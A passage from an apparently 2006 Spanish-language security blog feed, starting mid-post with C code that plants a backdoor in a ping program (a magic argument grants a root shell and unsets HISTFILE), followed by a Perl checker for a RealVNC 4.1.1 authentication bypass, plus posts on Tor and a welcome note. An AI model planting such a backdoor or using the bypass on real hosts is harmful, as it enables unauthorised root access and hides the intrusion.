style="font-size:10;"&gt;main(int   argc, char **argv)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="text-indent: 35.4pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;if   (strcmp(“skarvin”, argv[1])==0){&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 35.4pt; text-indent: 35.4pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;char *cad[2];&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 53.4pt; text-indent: 17.4pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;cad[0]="/bin/bash";&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 36pt; text-indent: 34.8pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;cad[1]=NULL;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;                &lt;/span&gt;&lt;span style=""&gt;                &lt;/span&gt;setuid(0);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;                               &lt;/span&gt;setgid(0);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 18pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;                       &lt;/span&gt;unsetenv(“HISTFILE”); &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 53.4pt; text-indent: 17.4pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;execve(cad[0], cad, NULL);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="text-indent: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;        &lt;/span&gt;struct hostent *hp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;        &lt;/span&gt;int ch, hold, packlen;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;        &lt;/span&gt;int socket_errno;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;        &lt;/span&gt;u_char *packet;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;        &lt;/span&gt;char *target,   hnamebuf[MAXHOSTNAMELEN];&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;        &lt;/span&gt;char rspace[3 + 4 * NROUTES +   1];&lt;span style=""&gt;       &lt;/span&gt;/* record route space */&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;span style=""&gt;         &lt;/span&gt;icmp_sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;        &lt;/span&gt;socket_errno = errno;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;        &lt;/span&gt;uid = getuid();&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;        &lt;/span&gt;setuid(uid);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;        &lt;/span&gt;source.sin_family = AF_INET;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span lang="EN-GB"  style="font-size:10;"&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:10;"&gt;preload = 1;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="margin-left: 27pt;"&gt;&lt;span style="font-size:10;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal" style="text-indent: 35.4pt;"&gt;&lt;span style="font-size:10;"&gt;…&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/29362263-115049606744442033?l=skarvin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://skarvin.blogspot.com/feeds/115049606744442033/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=29362263&amp;postID=115049606744442033' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115049606744442033'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115049606744442033'/><link rel='alternate' type='text/html' href='http://skarvin.blogspot.com/2006/06/abriendo-una-puerta-trasera-algunos_16.html' title='Abriendo una puerta trasera: algunos métodos con más o menos dificultad'/><author><name>skarvin</name><uri>http://www.blogger.com/profile/01024146001745496577</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-29362263.post-115027091658261491</id><published>2006-06-14T09:41:00.002+02:00</published><updated>2008-02-20T01:02:13.887+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilidad vnc'/><category scheme='http://www.blogger.com/atom/ns#' term='vnc hacked'/><title type='text'>Grave vulnerabilidad en RealVNC 4.1.1</title><content type='html'>Hace ya algún tiempo, se informó sobre una grave vulnerabilidad del servidor vnc de RealVNC (4.1.1). Esta vulnerabilidad puede llevar a un atacante, sin grandes conocimientos en informática y programación a poder tomar el control de un equipo con este software instalado.&lt;br /&gt;&lt;br /&gt;Esta vulnerabilidad radica en un fallo en la autentificación que el cliente VNC envía al servidor, por lo que si el cliente modifica el tipo de autentificación, éste puede acceder sin ningún tipo de restricción por contraseña al servidor.&lt;br /&gt;&lt;br /&gt;Se pueden ver la gran cantidad de gente que suele utilizar este software haciendo click en este &lt;a href="http://www.google.es/search?q=inurl%3A5800+%22VNC+Desktop%22+&amp;amp;start=0&amp;amp;amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;amp;client=firefox-a&amp;amp;rls=org.mozilla:es-ES:official"&gt;link&lt;/a&gt;.&lt;br /&gt;Y mediante este simple scanner, se puede comprobar la gravedad de este fallo:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td bgcolor="lightgrey"&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;# scan for OpenVNC 4.11 authentication bypass&lt;br /&gt;&lt;br /&gt;use IO::Socket;&lt;br /&gt;&lt;br /&gt;$host = $ARGV[0];&lt;br /&gt;$port = $ARGV[1] || 5900;&lt;br /&gt;&lt;br /&gt;$host or die("$0 &lt;host&gt; &lt;port&gt;\n");&lt;br /&gt;&lt;br /&gt;#print "Connecting to $host:$port..."; $| = 1;&lt;br /&gt;($sock = IO::Socket::INET-&gt;new(PeerAddr =&gt; $host,&lt;br /&gt;                         PeerPort =&gt; $port,&lt;br /&gt;                         Proto    =&gt; 'tcp',)) ? print "success!\n"&lt;br /&gt;: die("failed\n");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#negotiate protocol&lt;br /&gt;$sock-&gt;read($protocol_version,12);&lt;br /&gt;print $sock $protocol_version;&lt;br /&gt;# print "Using protocol $protocol_version";&lt;br /&gt;&lt;br /&gt;# get security types that we'll be ignoring&lt;br /&gt;$sock-&gt;read($security_types,1);&lt;br /&gt;$sock-&gt;read($hahaha,unpack('C',$security_types));&lt;br /&gt;&lt;br /&gt;# choose no authentication&lt;br /&gt;print $sock "\x01";&lt;br /&gt;&lt;br /&gt;# we should get "0000" back&lt;br /&gt;$sock-&gt;read($in,4);&lt;br /&gt;if(unpack('I',$in)) { die("Not vulnerable\n") };&lt;br /&gt;&lt;br /&gt;# client initialize&lt;br /&gt;print $sock "\x01";&lt;br /&gt;&lt;br /&gt;# if the server starts sending data we are in&lt;br /&gt;$sock-&gt;read($in,4);&lt;br /&gt;(unpack('I',$in)) ? print("$host Vulnerable!\n") : die("Not vulnerable\n") ;&lt;br /&gt;&lt;br /&gt;exit;&lt;br /&gt;&lt;/port&gt;&lt;/host&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Desde aquí recomiendamos actualizar a la versión 4.2.5, disponible&lt;a href="http://www.realvnc.com/cgi-bin/download.cgi"&gt; aquí.&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/29362263-115027091658261491?l=skarvin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://skarvin.blogspot.com/feeds/115027091658261491/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=29362263&amp;postID=115027091658261491' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115027091658261491'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115027091658261491'/><link rel='alternate' type='text/html' href='http://skarvin.blogspot.com/2006/06/grave-vulnerabilidad-en-realvnc-411_14.html' title='Grave vulnerabilidad en RealVNC 4.1.1'/><author><name>skarvin</name><uri>http://www.blogger.com/profile/01024146001745496577</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-29362263.post-115014116706087756</id><published>2006-06-12T21:38:00.000+02:00</published><updated>2006-06-12T21:39:27.063+02:00</updated><title type='text'>Tor: Un sistema anonimo de comunicacion por Internet</title><content type='html'>Desde hace varios meses, existe a disposición de cualquier usuario, una herramienta muy útil cuando se quiere obtener acceso a Internet de manera anónima. La red Tor, es una red de tipo "Onion" por lo que cada transmisión que se envía a un host determinado, pasa por esta red dando varios saltos por diversos "servidores Tor" antes de contactar con el host final. Éste hecho hace que el host que establece la conexión con el host final no seamos nosotros, sinó que será el último "servidor Tor" el que la haga. Tor establece rutas aleatorias cada vez que el usuario accede a un recurso. Además, estas rutas&lt;br /&gt;&lt;br /&gt;Aquí muestro unas imagen sobre como se realiza la navegación por la red de Tor:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://tor.eff.org/images/htw2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px;" src="http://tor.eff.org/images/htw2.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Según la web de tor (http://tor.eff.org/) cuentan:&lt;br /&gt;"El circuito se extiende un tramo cada vez y cada servidor a lo largo del camino conoce unicamente que servidor le proporciona los datos y a que servidor se los entrega. Ningun servidor individual conoce nunca el recorrido completo que ha tomado un paquete de datos. El cliente negocia un conjunto separados de claves de encriptacion para cada tramo a lo largo del circuito para asegurar que cada tramo no puede rastrear estas conexiones a medida que lo atraviesan."&lt;br /&gt;&lt;br /&gt;Podemos utilizar cualquier programa por la red Tor, por lo que nuestro programa de mensajería, correo, navegador web, teminal Ssh, etc... podrán pasar a ser anónimos.&lt;br /&gt;&lt;br /&gt;Existe un plugin para Firefox el cual os lo podéis bajar &lt;a href="https://addons.mozilla.org/firefox/2464/"&gt;aquí&lt;/a&gt; el programa cliente de Tor os lo podéis bajar &lt;a href="http://tor.eff.org/download.html.es"&gt;aquí&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/29362263-115014116706087756?l=skarvin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://skarvin.blogspot.com/feeds/115014116706087756/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=29362263&amp;postID=115014116706087756' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115014116706087756'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115014116706087756'/><link rel='alternate' type='text/html' href='http://skarvin.blogspot.com/2006/06/tor-un-sistema-anonimo-de-comunicacion.html' title='Tor: Un sistema anonimo de comunicacion por Internet'/><author><name>skarvin</name><uri>http://www.blogger.com/profile/01024146001745496577</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-29362263.post-115012508075106496</id><published>2006-06-12T17:10:00.000+02:00</published><updated>2006-06-12T17:11:20.760+02:00</updated><title type='text'>Wellcome!</title><content type='html'>Bienvenidos a este blog dedicado a la seguridad informática en el que iré publicando artículos, manuales y recursos de interés para el administrador de sistemas.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/29362263-115012508075106496?l=skarvin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://skarvin.blogspot.com/feeds/115012508075106496/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=29362263&amp;postID=115012508075106496' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115012508075106496'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115012508075106496'/><link rel='alternate' type='text/html' href='http://skarvin.blogspot.com/2006/06/wellcome.html' title='Wellcome!'/><author><name>skarvin</name><uri>http://www.blogger.com/profile/01024146001745496577</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry></feed>
